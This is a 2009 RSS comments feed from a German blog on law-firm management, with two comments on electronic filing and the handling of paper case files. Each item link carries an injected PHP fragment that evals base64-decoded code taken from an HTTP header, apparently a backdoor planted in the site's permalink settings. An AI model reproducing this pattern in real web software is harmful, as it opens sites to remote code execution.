<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Kommentare zu Law + Disorder</title>
	<atom:link href="http://www.law-and-disorder.de/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.law-and-disorder.de</link>
	<description>Sich selbst und die Kanzlei managen</description>
	<lastBuildDate>Mon, 31 Aug 2009 06:04:20 +0200</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Kommentare von admin zu Schmeiß die alten Akten aus dem Schrank! &#8211; die elektronische A b l a g e</title>
		<link>http://www.law-and-disorder.de/2009/08/26/schmeis-die-alten-akten-aus-dem-schrank-die-elektronische-a-b-l-a-g-e/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-26</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Mon, 31 Aug 2009 06:04:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.law-and-disorder.de/?p=177#comment-26</guid>
		<description>Mein Vorschlag war für Kollegen gedacht, die ihre Akten nicht elektronisch führen wollen. Zumindest die Ablage wäre aber nach meinem Vorschlag auf diese Art und Weise machbar und sinnvoll.
Ich selbst lege nur noch in Ausnahmefällen eine Papierakte an. Mein Kollege arbeitet aber noch mit Papierakten.
Wir führen ein &quot;klassisches&quot; Prozessregister, das heißt, es wird eine Seite mit den wesentlichen Daten ausgedruckt und abgeheftet. Das ist einmal eine Art weiterer &quot;Sicherheitskopie&quot;, in diese Ordner kommen aber auch vollstreckbare Ausfertigungen und andere Dokumente, die nicht vernichtet werden dürfen.</description>
		<content:encoded><![CDATA[<p>Mein Vorschlag war für Kollegen gedacht, die ihre Akten nicht elektronisch führen wollen. Zumindest die Ablage wäre aber nach meinem Vorschlag auf diese Art und Weise machbar und sinnvoll.<br />
Ich selbst lege nur noch in Ausnahmefällen eine Papierakte an. Mein Kollege arbeitet aber noch mit Papierakten.<br />
Wir führen ein &#8220;klassisches&#8221; Prozessregister, das heißt, es wird eine Seite mit den wesentlichen Daten ausgedruckt und abgeheftet. Das ist einmal eine Art weiterer &#8220;Sicherheitskopie&#8221;, in diese Ordner kommen aber auch vollstreckbare Ausfertigungen und andere Dokumente, die nicht vernichtet werden dürfen.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Kommentare von Melanie Langenhan zu Schmeiß die alten Akten aus dem Schrank! &#8211; die elektronische A b l a g e</title>
		<link>http://www.law-and-disorder.de/2009/08/26/schmeis-die-alten-akten-aus-dem-schrank-die-elektronische-a-b-l-a-g-e/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-25</link>
		<dc:creator>Melanie Langenhan</dc:creator>
		<pubDate>Sat, 29 Aug 2009 12:57:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.law-and-disorder.de/?p=177#comment-25</guid>
		<description>Wenn ich das richtig verstanden habe, werden nur alte Akten vor der Vernichtung gescannt, aber nicht die laufenden Vorgänge?

Wie halten Sie es mit Urteilen oder Vollstreckungsunterlagen? Alles ausgehändigt an Mandanten oder separat abgelegt?</description>
		<content:encoded><![CDATA[<p>Wenn ich das richtig verstanden habe, werden nur alte Akten vor der Vernichtung gescannt, aber nicht die laufenden Vorgänge?</p>
<p>Wie halten Sie es mit Urteilen oder Vollstreckungsunterlagen? Alles ausgehändigt an Mandanten oder separat abgelegt?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
